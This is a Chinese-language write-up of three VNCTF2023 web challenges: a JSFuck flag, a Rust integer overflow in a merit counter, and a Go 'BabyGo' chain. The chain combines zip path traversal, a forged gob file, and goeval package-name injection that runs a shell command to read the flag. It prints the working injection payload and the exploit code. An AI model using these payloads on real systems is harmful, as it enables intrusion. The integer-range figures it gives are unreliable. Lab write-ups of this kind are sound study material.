前言
近期参加了VNCTF2023,里面有两道web题是考察rust和go语言的,由于这两门语言之前从未接触过,比赛结束后借着师傅的wp复现一波,在此写文章记录一下。网上一位师傅的wp:
https://www.cnblogs.com/nLesxw/p/VNCTF2023.html
|
根据此wp进行复现。
象棋王子
打开题目,前端象棋小游戏。
找js文件审计代码了解逻辑,在play.js中发现jsfuck编码,一看就是flag,直接放在游览器上运行出flag。
电子木鱼
给了附件,Rust语言做后端。Rust语言之前从来没接触过,比赛时边查文档边审。主要说一下几个路由,
#[derive(Deserialize)] struct Info { name: String, quantity: i32, } #[derive(Debug, Copy, Clone, Serialize)] struct Payload { name: &'static str, cost: i32, } const PAYLOADS: &[Payload] = &[ Payload { name: "Cost", cost: 10, }, Payload { name: "Loan", cost: -1_000, }, Payload { name: "CCCCCost", cost: 500, }, Payload { name: "Donate", cost: 1, }, Payload { name: "Sleep", cost: 0, }, ];
|
不同的name对应所要扣除或者增加的功德。
#[get("/")] async fn index(tera: web::Data<Tera>) -> Result<HttpResponse, Error> { let mut context = Context::new(); context.insert("gongde", &GONGDE.get()); if GONGDE.get() > 1_000_000_000 { context.insert( "flag", &std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()), ); } match tera.render("index.html", &context) { Ok(body) => Ok(HttpResponse::Ok().body(body)), Err(err) => Err(error::ErrorInternalServerError(err)), } }
|
定义GONGDE.get()为对应佛祖的功德,如果功德大于十亿,它就会给你flag。
#[get("/reset")] async fn reset() -> Json<APIResult> { GONGDE.set(0); web::Json(APIResult { success: true, message: "重开成功,继续挑战佛祖吧", }) }
|
清空所有路由,重点代码如下:
#[post("/upgrade")] async fn upgrade(body: web::Form<Info>) -> Json<APIResult> { if GONGDE.get() < 0 { return web::Json(APIResult { success: false, message: "功德都搞成负数了,佛祖对你很失望", }); } if body.quantity <= 0 { return web::Json(APIResult { success: false, message: "佛祖面前都敢作弊,真不怕遭报应啊", }); } if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) { let mut cost = payload.cost; if payload.name == "Donate" || payload.name == "Cost" { cost *= body.quantity; } if GONGDE.get() < cost as i32 { return web::Json(APIResult { success: false, message: "功德不足", }); } if cost != 0 { GONGDE.set(GONGDE.get() - cost as i32); } }
|
在此路由下,功德不能为负数,并且我们post上传的quantity参数不能小于0。起初我想利用Loan对应的cost一点点往上加功德直至十亿。这就要发包十万次,我写的python脚本很快就429了。这就是出题人留下的一个坑,由于对rust语言不了解,到比赛结束也没找到方法。最后看了那位师傅写的wp,有这么一个介绍rust语言特性的链接:Rust语言圣经
其中提到了Rust语言的整形溢出:
很明显本题是用补码循环溢出来解决整形溢出的这个问题,举个例子,对于一个i8的类型变量(整数范围在0~127)如果我们将其值加1,并得到了结果128,那么该值就会被映射回-128,从而形成了一个循环。类似地,如果我们将其值减1,并得到了结果-129,那么该值就会被映射回127,从而形成了另一个循环。本题漏洞代码:
这个累乘操作使得整形溢出成为可能。我们使name=Cost,则可以让quantity变量扩大十倍,造成整形溢出。Rust语言通过补码循环溢出可将该值映射到绝对值比十亿要大的负数了,这样也能成功绕过佛祖的作弊检测。那该让quantity赋值多少呢?不能太大也不能太小,i32的变量最大值为4294967295,在此赋值为25亿,发包后确实能够加功德。
刷新根路由,成功达到功德无量,佛祖给你flag。
BabyGo
这道题相关考点:
1.go语言代码审计
2.filepath.Clean函数目录穿越漏洞
3.go的函数沙箱逃逸
go语言做后端,题目源码:
package main import ( "encoding/gob" "fmt" "github.com/PaulXu-cn/goeval" "github.com/duke-git/lancet/cryptor" "github.com/duke-git/lancet/fileutil" "github.com/duke-git/lancet/random" "github.com/gin-contrib/sessions" "github.com/gin-contrib/sessions/cookie" "github.com/gin-gonic/gin" "net/http" "os" "path/filepath" "strings" ) type User struct { #定义一个User结构体 Name string Path string Power string } func main() { r := gin.Default() #创建Gin框架实例 store := cookie.NewStore(random.RandBytes(16))#随机cookie r.Use(sessions.Sessions("session", store)) r.LoadHTMLGlob("template/*")#加载模板 r.GET("/", func(c *gin.Context) { userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/" session := sessions.Default(c) session.Set("shallow", userDir) session.Save() fileutil.CreateDir(userDir)#创建目录 gobFile, _ := os.Create(userDir + "user.gob")#创建文件 user := User{Name: "ctfer", Path: userDir, Power: "low"} encoder := gob.NewEncoder(gobFile) encoder.Encode(user) if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") { c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir}) return } c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"}) })
r.GET("/upload", func(c *gin.Context) { c.HTML(200, "upload.html", gin.H{"message": "upload me!"}) }) r.POST("/upload", func(c *gin.Context) { session := sessions.Default(c) if session.Get("shallow") == nil {#不能为nil c.Redirect(http.StatusFound, "/") } userUploadDir := session.Get("shallow").(string) + "uploads/" fileutil.CreateDir(userUploadDir)#创建目录 file, err := c.FormFile("file") if err != nil { c.HTML(500, "upload.html", gin.H{"message": "no file upload"}) return } ext := file.Filename[strings.LastIndex(file.Filename, "."):] if ext == ".gob" || ext == ".go" { c.HTML(500, "upload.html", gin.H{"message": "Hacker!"}) return }#不能上传gob和go filename := userUploadDir + file.Filename if fileutil.IsExist(filename) { fileutil.RemoveFile(filename)#如果存在删除 } err = c.SaveUploadedFile(file, filename) if err != nil { c.HTML(500, "upload.html", gin.H{"message": "failed to save file"}) return } c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename}) }) r.GET("/unzip", func(c *gin.Context) { session := sessions.Default(c) if session.Get("shallow") == nil { c.Redirect(http.StatusFound, "/") } userUploadDir := session.Get("shallow").(string) + "uploads/" files, _ := fileutil.ListFileNames(userUploadDir)#获得文件后缀 destPath := filepath.Clean(userUploadDir + c.Query("path")) for _, file := range files { if fileutil.MiMeType(userUploadDir+file) == "application/zip" { err := fileutil.UnZip(userUploadDir+file, destPath) if err != nil { c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"}) return } fileutil.RemoveFile(userUploadDir + file) } } c.HTML(200, "zip.html", gin.H{"message": "success unzip"}) }) r.GET("/backdoor", func(c *gin.Context) { session := sessions.Default(c) if session.Get("shallow") == nil { c.Redirect(http.StatusFound, "/") } userDir := session.Get("shallow").(string) if fileutil.IsExist(userDir + "user.gob") { file, _ := os.Open(userDir + "user.gob") decoder := gob.NewDecoder(file) var ctfer User decoder.Decode(&ctfer) if ctfer.Power == "admin" { eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt")) if err != nil { fmt.Println(err) } c.HTML(200, "backdoor.html", gin.H{"message": string(eval)}) return } else { c.HTML(200, "backdoor.html", gin.H{"message": "low power"}) return } } else { c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"}) return } }) r.Run(":80") }
|
相关路由介绍:
根路由,创建用户目录设置session,创建一个一个名为 “user.gob” 的文件,然后将一个名为 “ctfer” 的用户对象编码并写入 “user.gob” 文件中。gob文件可以理解为go的二进制文件,用于传输。
upload路由,限制我们上传的文件后缀不能为go或者gob。上传成功返回文件路径。
/unzip路由将我们上传的zip文件进行解压。
/backdoor路由,从session中获取shallow值,并且判断user.gob文件是否存在,存在就会解码其中的数据,判断用户权限,并执行Eval函数,这段代码的作用是提供一个后门,允许管理员在服务器上执行任意的Go代码。
审计完代码,我们想到的思路就是怎么样去覆盖user.gob文件进行权限提升来RCE。
目录穿越覆盖user.go文件
那么首先第一步,去覆盖user.go文件来提升权限。根据读代码,
r.GET("/", func(c *gin.Context) { userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/" ..... gobFile, _ := os.Create(userDir + "user.gob")#创建文件 user := User{Name: "ctfer", Path: userDir, Power: "low"} ..... c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
|
在根路由下,生成一个临时目录,在此目录下创建一个user.gob文件,将目录路径显示在当前页面。再看我们upload路由下上传的路径。
userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/" session := sessions.Default(c) session.Set("shallow", userDir) ....... userUploadDir := session.Get("shallow").(string) + "uploads/"
|
所以说,我们上传的目录在user.go当前目录的子目录,所以需要目录穿越,在unzip路由代码中,filepath.Clean函数存在目录穿越漏洞。filepath.Clean函数将路径名进行规范化,具体功能为:
这个函数本身是没有任何问题的,若在此没有做任何限制,攻击者通过构造特殊的输入路径名,来访问系统上其没有权限访问的文件或目录,举个例子,filepath.Clean(“/var/www/“ + filePath),当filePath为”../etc/passwd”,拼接后的路径为/var/www/../etc/passwd。在路径名规范化时,路径就会整合成/var/etc/passwd。了解原理后,可以在上传路径添加几个../来导致穿越。接着,编写gob文件,我根本不会。直接去问AI了,当然,下面这个网站也介绍了,还是感觉没有AI方便。Go语言二进制文件的读写操作
package main import ( "encoding/gob" "fmt" "os" )
type User struct { Name string path string Power string } func main() { userdir:= "/tmp/4960cd5dcd3379599fa2d23ce376115b/" file, err := os.Create("./user.gob") if err != nil { fmt.Println("Failed to create file:", err) return } defer file.Close() encoder := gob.NewEncoder(file) User := User{Name: "ctfer", Path: userdir, Power: "admin" } if err := encoder.Encode(User); err != nil { fmt.Println("Failed to encode person:", err) return } fmt.Println("Person data has been written to person.gob") }
|
话不多说,先上传试试。
打印出Good,成功覆盖掉user.gob文件。
函数逃逸RCE
只打印出Good是远远不够的。该怎么RCE才是我们最终的目的。题目代码中给了一种后门代码:
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
|
第一个参数,表示代码执行的环境变量,一般为空。第二个参数,需要被执行的代码。第三个参数为导入的包名。从代码上看,我们只能控制包名,通过沙箱逃逸来RCE,相关链接:go沙箱逃逸
漏洞利用可以看看这位师傅的文章:goeval代码注入导致远程代码执行
引用相关例子说明一下,如下代码:
Package := "fmt\"\n)\nfunc\tinit(){\nfmt.Print(\"我是init\")\n}\nvar\t(\na=\"1" res, _ := eval.Eval("", "fmt.Print("123")", Package) fmt.Println(string(res))
|
其中\t代替空格,注入init()函数,因为它比main函数先调用。而在函数内部是这样的:
package main import ( "fmt" ) func init(){ fmt.Print("我是init") } var ( a="1" ) func main() { fmt.Print(123) }
|
代码执行最先会打印出我是init。就利用这个闭合原理来构造恶意代码。就借用开头那位师傅的payload。
os/exec"%0A"fmt")%0Afunc%09init()%7B%0Acmd:=exec.Command("/bin/sh","-c","cat${IFS}/f*")%0Ares,err:=cmd.CombinedOutput()%0Afmt.Println(err)%0Afmt.Println(res)%0A}%0Aconst(%0AMessage="fmt
|
此代码整合后大概是这样:
package main import ( "fmt" "os/exec" ) func init() { cmd := exec.Command("/bin/sh", "-c", "cat /f*") res, err := cmd.CombinedOutput() fmt.Println(err) fmt.Println(string(res)) } const ( Message = "fmt" )
|
将此代码传进去得到ASCLI
解码得到flag字符串。
结语
第一次参加VNCTF,web题目对于我来说挺新颖奇特。也借着这次比赛接触到了rust和go语言相关安全,最后一道web禅道cms的代码审计最新版,以往的禅道cms我还没有审计过,更别提最新版了。等有时间也要审计一下禅道系列。总之,这次比赛收获颇多。